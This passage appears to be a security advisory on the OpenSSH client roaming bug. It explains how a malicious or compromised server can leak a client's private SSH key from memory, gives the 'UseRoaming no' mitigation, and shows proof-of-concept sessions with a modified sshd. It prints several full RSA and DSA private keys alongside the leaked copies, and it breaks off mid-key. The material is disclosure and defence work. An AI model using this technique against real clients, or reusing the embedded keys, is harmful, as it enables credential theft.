  1. If a private SSH key is loaded from disk into memory by fopen() (or fdopen()), fgets(), and fclose(), a partial or complete copy of this private key may remain uncleansed in memory. Indeed, these functions manage their own internal buffers, and whether these buffers are cleansed or not depends on the OpenSSH client's libc (stdio) implementation, but not on OpenSSH itself.

  2. In all vulnerable OpenSSH versions, SSH's main() function calls load_public_identity_files(), which loads the client's public keys with fopen(), fgets(), and fclose(). Unfortunately, the private keys (without the ".pub" suffix) are loaded first and then discarded, but nonetheless buffered in memory by the stdio functions.

  3. In OpenSSH versions <= 5.6, the load_identity_file() function (called by the client's public-key authentication method) loads a private key with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses fgets() and hence internal stdio buffering.

Internal stdio buffering is the most severe of the three problems discussed in this section, although GNU/Linux is not affected because the glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers. BSD-based systems, on the other hand, are severely affected because they simply malloc()ate and free() stdio buffers. For interesting comments on this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk

  1. In OpenSSH versions >= 5.9, the client's load_identity_file() function (called by the public-key authentication method) read()s a private key in 1024-byte chunks that are appended to a growing buffer (a realloc()ating buffer) with buffer_append() (old API) or sshbuf_put() (new API). Unfortunately, the repeated calls to realloc() may leave partial copies of the private key uncleansed in memory.

  2. In OpenSSH < 6.7 (old API), the initial size of such a growing buffer is 4096 bytes: if a private-key file is larger than 4K, a partial copy of this private key may remain uncleansed in memory (a 3K copy in a 4K buffer). Fortunately, only the file of a very large RSA key (for example, an 8192-bit RSA key) can exceed 4K.

  3. In OpenSSH >= 6.7 (new API), the initial size of a growing buffer is 256 bytes: if a private-key file is larger than 1K (the size passed to read()), a partial copy of this private key may remain uncleansed in memory (a 1K copy in a 1K buffer). For example, the file of a default-sized 2048-bit RSA key exceeds 1K.

For more information on this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources

https://cwe.mitre.org/data/definitions/244.html

  1. An OpenSSH growing-buffer that holds a private key is eventually freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse the buffer with memset() or bzero() before they call free(). Unfortunately, an optimizing compiler may remove this memset() or bzero() call, because the buffer is written to, but never again read from (an optimization known as Dead Store Elimination).

OpenSSH 6.6 is the only version that is not affected, because it calls explicit_bzero() instead of memset() or bzero().

Dead Store Elimination is the least severe of the three problems explored in this section, because older GCC versions do not remove the memset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5 and Clang/LLVM do, however, remove it. For detailed discussions of this issue:

https://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations

https://cwe.mitre.org/data/definitions/14.html

https://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506

Finally, for these three reasons, passphrase-encrypted SSH keys are leaked in their encrypted form, but an attacker may attempt to crack the passphrase offline. On the other hand, SSH keys that are available only through an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the undocumented option "UseRoaming no" to the system-wide configuration file (usually /etc/ssh/ssh_config), or per-user configuration file (~/.ssh/config), or command-line (-o "UseRoaming no").

  1. If an OpenSSH client is disconnected from an SSH server that offers roaming, it prints "[connection suspended, press return to resume]" on stderr, and waits for '\n' or '\r' on stdin (and not on the controlling terminal) before it reconnects to the server; advanced users may become suspicious and press Control-C or Control-Z instead, thus avoiding the information leak:

"pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume]^Z [1]+ Stopped /usr/bin/ssh -p 222 127.0.0.1

However, SSH commands that use the local stdin to transfer data to the remote server are bound to trigger this reconnection automatically (upon reading a '\n' or '\r' from stdin). Moreover, these non-interactive SSH commands (for example, backup scripts and cron jobs) commonly employ public-key authentication and are therefore perfect targets for this information leak:

$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.ls" [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]

$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.tar" tar: Removing leading `/' from member names [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] ... [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]

Similarly, the SCP client uses the SSH client's stdin and stdout to transfer data, and can be forced by a malicious SSH server to output a control record that ends in '\n' (an error message in server-to-client mode, or file permissions in client-to-server mode); this '\n' is then read from stdin by the fgetc() call in wait_for_roaming_reconnect(), and triggers an automatic reconnection that allows the information leak to be exploited without user interaction:

env ROAMING="scp_mode sleep:1" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp $ [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]

$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting] lost connection

  1. Although a man-in-the-middle attacker can reset the TCP connection between an OpenSSH client and an OpenSSH server (which does not support roaming), it cannot exploit the information leak without breaking server host authentication or integrity protection, because it needs to:

  2. first, append the "resume@appgate.com" algorithm name to the server's initial key exchange message;

  3. second, in response to the client's "roaming@appgate.com" request, change the server's reply from failure to success.

In conclusion, an attacker who wishes to exploit this information leak must convince its target OpenSSH client to connect to a malicious server (an unlikely scenario), or compromise a trusted server (a more likely scenario, for a determined attacker).

  1. In the client, wait_for_roaming_reconnect() calls ssh_connect(), the same function that successfully established the first connection to the server; this function supports four different connection methods, but each method contains a bug and may fail to establish a second connection to the server:

  2. In OpenSSH >= 6.5 (released on January 30, 2014), the default ssh_connect_direct() method (a simple TCP connection) is called by wait_for_roaming_reconnect() with a NULL aitop argument, which makes it impossible for the client to reconnect to the server:

418 static int 419 ssh_connect_direct(const char host, struct addrinfo aitop, ... 424 int sock = -1, attempt; 425 char ntop[NI_MAXHOST], strport[NI_MAXSERV]; ... 430 for (attempt = 0; attempt < connection_attempts; attempt++) { ... 440 for (ai = aitop; ai; ai = ai->ai_next) { ... 470 } 471 if (sock != -1) 472 break; / Successful connection. / 473 } 474 475 / Return failure if we didn't get a successful connection. / 476 if (sock == -1) { 477 error("ssh: connect to host %s port %s: %s", 478 host, strport, strerror(errno)); 479 return (-1); 480 }

Incidentally, this error() call displays stack memory from the uninitialized strport[] array, a byproduct of the NULL aitop:

$ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor

  • The special ProxyCommand "-" communicates with the server through the client's stdin and stdout, but these file descriptors are close()d by packet_backup_state() at the beginning of wait_for_roaming_reconnect() and are never reopened again, making it impossible for the client to reconnect to the server. Moreover, the fgetc() that waits for '\n' or '\r' on the closed stdin returns EOF and forces the client to exit():

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ /usr/bin/nc -e "/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1" 127.0.0.1 222 Pseudo-terminal will not be allocated because stdin is not a terminal. user@127.0.0.1's password: [connection suspended, press return to resume][exiting]

  • The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that passes a connected file descriptor back to the client, but it calls fatal() while reconnecting to the server, because waitpid() returns ECHILD; indeed, the SIGCHLD handler (installed by SSH's main() after the first successful connection to the server) calls waitpid() before ssh_proxy_fdpass_connect() does:

1782 static void 1783 main_sigchld_handler(int sig) 1784 { .... 1789 while ((pid = waitpid(-1, &status, WNOHANG)) > 0 || 1790 (pid < 0 && errno == EINTR)) 1791 ; 1792 1793 signal(sig, main_sigchld_handler); .... 1795 }

101 static int 102 ssh_proxy_fdpass_connect(const char host, u_short port, 103 const char proxy_command) 104 { ... 121 / Fork and execute the proxy command. / 122 if ((pid = fork()) == 0) { ... 157 } 158 / Parent. / ... 167 while (waitpid(pid, NULL, 0) == -1) 168 if (errno != EINTR) 169 fatal("Couldn't wait for child: %s", strerror(errno));

$ /usr/bin/ssh -V OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015

$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand="/usr/bin/nc -F %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Couldn't wait for child: No child processes

  • The method ssh_proxy_connect() fork()s a standard ProxyCommand that connects the client to the server, but if a disconnection occurs, and the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is waiting for a '\n' or '\r' on stdin, EOF is returned (the underlying read() returns EINTR) and the client exit()s before it can reconnect to the server:

$ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014

$ /usr/bin/ssh -o ProxyCommand="/bin/nc %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][exiting]

This behavior is intriguing, because (at least on Linux and BSD) the signal() call that installed the main_sigchld_handler() is supposed to be equivalent to a sigaction() call with SA_RESTART. However, portable versions of OpenSSH override signal() with mysignal(), a function that calls sigaction() without SA_RESTART.

This last mitigating factor is actually a race-condition bug that depends on the ProxyCommand itself: for example, the client never fails to reconnect to the server when using Socat as a ProxyCommand, but fails occasionally when using Netcat.


Private Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key

$ head -n 1 /etc/motd FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013

$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi /rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr +7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7 qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11 1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs= -----END RSA PRIVATE KEY-----

env ROAMING="client_out_buf_size:1280" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-97ed9f59/infoleak

MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme


Private Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key

$ head -n 1 /etc/motd FreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013

$ /usr/bin/ssh -V OpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013

$ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= -----END DSA PRIVATE KEY-----

env ROAMING="client_out_buf_size:768" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-9448bb7f/infoleak

MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To ...

env ROAMING="client_out_buf_size:1024" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-279f5e2b/infoleak

... iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= ...


Private Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key

$ head -n 1 /etc/motd OpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013

$ /usr/bin/ssh -V OpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012

$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0= -----END RSA PRIVATE KEY-----

env ROAMING="client_out_buf_size:2048" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-35ee7ab0/infoleak

MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-6cb31d82/infoleak

... uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=


Private Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key

$ head -n 1 /etc/motd OpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015

$ /usr/bin/ssh -V OpenSSH_7.0, LibreSSL 2.2.2

$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL ruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s 17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8 L/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh xSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP vavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl Jka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP Kyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19 qJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY gQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK QolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt gKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL cQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB +s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl hcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri hBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh vhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O nFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG 8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 